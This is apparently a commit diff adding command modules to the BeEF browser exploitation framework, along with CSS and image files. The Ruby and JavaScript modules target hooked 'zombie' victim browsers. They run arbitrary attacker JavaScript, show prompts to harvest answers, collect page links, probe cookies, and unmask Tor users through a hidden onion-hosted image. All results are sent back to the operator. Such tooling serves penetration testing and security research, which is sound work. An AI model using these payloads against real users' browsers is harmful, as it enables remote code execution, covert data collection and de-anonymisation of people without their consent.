modules/commands/misc/prompt_dialog/prompt_dialog.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Prompt_dialog < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Prompt Dialog',
|
||||
'Description' => 'Sends a prompt dialog to the victim',
|
||||
'Category' => 'Misc',
|
||||
'Author' => 'bm',
|
||||
'Data' => [['name' =>'question', 'ui_label'=>'Prompt text']],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||
}
|
||||
})
|
||||
|
||||
use_template!
|
||||
end
|
||||
|
||||
#
|
||||
# This method is being called when a zombie sends some
|
||||
# data back to the framework.
|
||||
#
|
||||
def callback
|
||||
|
||||
# return if @datastore['answer']==''
|
||||
|
||||
save({'answer' => @datastore['answer']})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
18
modules/commands/misc/raw_javascript/raw_javascript.js
Normal file
@@ -0,0 +1,18 @@
|
||||
beef.execute(function() {
|
||||
var result;
|
||||
|
||||
try {
|
||||
result = function() {<%= @cmd %>}();
|
||||
} catch(e) {
|
||||
for(var n in e)
|
||||
result+= n + " " + e[n] + "\n";
|
||||
}
|
||||
|
||||
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
47
modules/commands/misc/raw_javascript/raw_javascript.rb
Normal file
@@ -0,0 +1,47 @@
|
||||
#TODO: review when multi zombie hooks are available
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Raw_javascript < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Raw Javascript',
|
||||
'Description' => %Q{
|
||||
This module will send the code entered in the 'JavaScript Code' section to the selected
|
||||
zombie browsers where it will be executed. Code is run inside an anonymous function and the return
|
||||
value is passed to the framework. Multiline scripts are allowed, no special encoding is required.
|
||||
},
|
||||
'Category' => 'Misc',
|
||||
'Author' => ['wade','vo'],
|
||||
'Data' =>
|
||||
[
|
||||
['name' => 'cmd', 'ui_label' => 'Javascript Code',
|
||||
'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';",
|
||||
'type' => 'textarea', 'width' => '400px', 'height' => '100px'],
|
||||
],
|
||||
'File' => __FILE__ ,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||
}
|
||||
})
|
||||
|
||||
use_template!
|
||||
end
|
||||
|
||||
#
|
||||
# This method is being called when a zombie sends some
|
||||
# data back to the framework.
|
||||
#
|
||||
def callback
|
||||
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
6
modules/commands/recon/collect_links/collect_links.js
Normal file
@@ -0,0 +1,6 @@
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "links="+escape(beef.dom.getLinks().toString()));
|
||||
|
||||
});
|
||||
|
||||
38
modules/commands/recon/collect_links/collect_links.rb
Normal file
@@ -0,0 +1,38 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Collect_links < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Collect Links',
|
||||
'Description' => %Q{
|
||||
This module will retrieve HREFs from the target page
|
||||
},
|
||||
'Category' => 'Recon',
|
||||
'Author' => ['vo'],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||
}
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Links'] = @datastore['links']
|
||||
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,9 @@
|
||||
beef.execute(function() {
|
||||
|
||||
var sessionResult = beef.browser.cookie.hasSessionCookies("<%= @cookie %>");
|
||||
var persistentResult = beef.browser.cookie.hasPersistentCookies("<%= @cookie %>");
|
||||
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "has_session_cookies="+sessionResult+
|
||||
"&has_persistent_cookies="+persistentResult+"&cookie=<%= @cookie %>");
|
||||
});
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Detect_cookies < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Detect Cookie Support',
|
||||
'Description' => %Q{
|
||||
This module will check if the browser allows a cookie with specified name to be set.
|
||||
},
|
||||
'Category' => 'Recon',
|
||||
'Data' => [['name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie']],
|
||||
'Author' => ['vo'],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||
}
|
||||
})
|
||||
|
||||
use 'beef.browser.cookie'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Has Session Cookies'] = @datastore['has_session_cookies']
|
||||
content['Has Persistent Cookies'] = @datastore['has_persistent_cookies']
|
||||
content['Cookie Attempted'] = @datastore['cookie']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
35
modules/commands/recon/detect_tor/detect_tor.js
Normal file
@@ -0,0 +1,35 @@
|
||||
beef.execute(function() {
|
||||
|
||||
if (document.getElementById('torimg')) {
|
||||
return "Img already created";
|
||||
}
|
||||
|
||||
var img = new Image();
|
||||
img.setAttribute("style","visibility:hidden");
|
||||
img.setAttribute("width","0");
|
||||
img.setAttribute("height","0");
|
||||
img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif';
|
||||
img.id = 'torimg';
|
||||
img.setAttribute("attr","start");
|
||||
img.onerror = function() {
|
||||
this.setAttribute("attr","error");
|
||||
};
|
||||
img.onload = function() {
|
||||
this.setAttribute("attr","load");
|
||||
};
|
||||
|
||||
document.body.appendChild(img);
|
||||
|
||||
setTimeout(function() {
|
||||
var img = document.getElementById('torimg');
|
||||
if (img.getAttribute("attr") == "error") {
|
||||
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor');
|
||||
} else if (img.getAttribute("attr") == "load") {
|
||||
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor');
|
||||
} else if (img.getAttribute("attr") == "start") {
|
||||
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor');
|
||||
};
|
||||
document.body.removeChild(img);
|
||||
}, <%= @timeout %>);
|
||||
|
||||
});
|
||||
38
modules/commands/recon/detect_tor/detect_tor.rb
Normal file
@@ -0,0 +1,38 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Detect_tor < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Detect Tor',
|
||||
'Description' => 'This module will detect if the zombie is currently using TOR (The Onion Router).',
|
||||
'Category' => 'Recon',
|
||||
'Author' => ['pdp', 'wade', 'bm', 'xntrik'],
|
||||
'Data' =>
|
||||
[
|
||||
['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000']
|
||||
],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||
}
|
||||
})
|
||||
|
||||
use 'beef.net.local'
|
||||
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
return if @datastore['result'].nil?
|
||||
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
72
public/css/base.css
Normal file
@@ -0,0 +1,72 @@
|
||||
#header .right-menu {
|
||||
float: right;
|
||||
margin: 10px;
|
||||
word-spacing: 5px;
|
||||
font: 11px arial, tahoma, verdana, helvetica;
|
||||
color:#000;
|
||||
}
|
||||
|
||||
.x-grid3-cell-inner, .x-grid3-hd-inner {
|
||||
white-space: normal; /* changed from nowrap */
|
||||
}
|
||||
|
||||
.x-grid-empty {
|
||||
text-align:center;
|
||||
}
|
||||
|
||||
/*
|
||||
* Status bar
|
||||
****************************************/
|
||||
.x-statusbar .x-status-busy,
|
||||
.x-statusbar .x-status-error,
|
||||
.x-statusbar .x-status-valid {
|
||||
background: transparent no-repeat 3px 2px;
|
||||
padding-left: 25px !important;
|
||||
padding-bottom: 2px !important;
|
||||
}
|
||||
|
||||
.x-statusbar .x-status-busy {
|
||||
background-image: url(../images/statusbar/loading.gif);
|
||||
}
|
||||
|
||||
.x-statusbar .x-status-error {
|
||||
color: #C33;
|
||||
background-image: url(../images/statusbar/exclamation.gif);
|
||||
}
|
||||
|
||||
.x-statusbar .x-status-valid {
|
||||
background-image: url(../images/statusbar/accept.png);
|
||||
}
|
||||
|
||||
.x-tree-node-leaf .x-tree-node-icon {
|
||||
width: 13px;
|
||||
height: 13px;
|
||||
padding-top: 3px;
|
||||
}
|
||||
|
||||
/*
|
||||
* Ext.beef.msg
|
||||
****************************************/
|
||||
.msg .x-box-mc {
|
||||
font-size:14px;
|
||||
}
|
||||
|
||||
#msg-div {
|
||||
position:absolute;
|
||||
left:35%;
|
||||
top:20px;
|
||||
width:250px;
|
||||
z-index:20000;
|
||||
}
|
||||
|
||||
/*
|
||||
* Exploit Panel
|
||||
****************************************/
|
||||
.x-form-item-label, .x-form-element {
|
||||
font: 11px tahoma,arial,helvetica,sans-serif;
|
||||
}
|
||||
|
||||
.command-module-panel-description {
|
||||
margin-bottom: 10px;
|
||||
padding-top: 4px;
|
||||
}
|
||||
6764
public/css/ext-all.css
Normal file
BIN
public/images/default/box/corners-blue.gif
Normal file
|
After Width: | Height: | Size: 1010 B |
BIN
public/images/default/box/corners.gif
Normal file
|
After Width: | Height: | Size: 1005 B |
BIN
public/images/default/box/l-blue.gif
Normal file
|
After Width: | Height: | Size: 810 B |
BIN
public/images/default/box/l.gif
Normal file
|
After Width: | Height: | Size: 810 B |
BIN
public/images/default/box/r-blue.gif
Normal file
|
After Width: | Height: | Size: 810 B |
BIN
public/images/default/box/r.gif
Normal file
|
After Width: | Height: | Size: 810 B |
BIN
public/images/default/box/tb-blue.gif
Normal file
|
After Width: | Height: | Size: 851 B |
BIN
public/images/default/box/tb.gif
Normal file
|
After Width: | Height: | Size: 839 B |
BIN
public/images/default/button/arrow.gif
Normal file
|
After Width: | Height: | Size: 828 B |
BIN
public/images/default/button/btn.gif
Normal file
|
After Width: | Height: | Size: 4.2 KiB |
BIN
public/images/default/button/group-cs.gif
Normal file
|
After Width: | Height: | Size: 2.4 KiB |
BIN
public/images/default/button/group-lr.gif
Normal file
|
After Width: | Height: | Size: 861 B |
BIN
public/images/default/button/group-tb.gif
Normal file
|
After Width: | Height: | Size: 846 B |
BIN
public/images/default/button/s-arrow-b-noline.gif
Normal file
|
After Width: | Height: | Size: 898 B |
BIN
public/images/default/button/s-arrow-b.gif
Normal file
|
After Width: | Height: | Size: 937 B |
BIN
public/images/default/button/s-arrow-bo.gif
Normal file
|
After Width: | Height: | Size: 139 B |
BIN
public/images/default/button/s-arrow-noline.gif
Normal file
|
After Width: | Height: | Size: 863 B |
BIN
public/images/default/button/s-arrow-o.gif
Normal file
|
After Width: | Height: | Size: 937 B |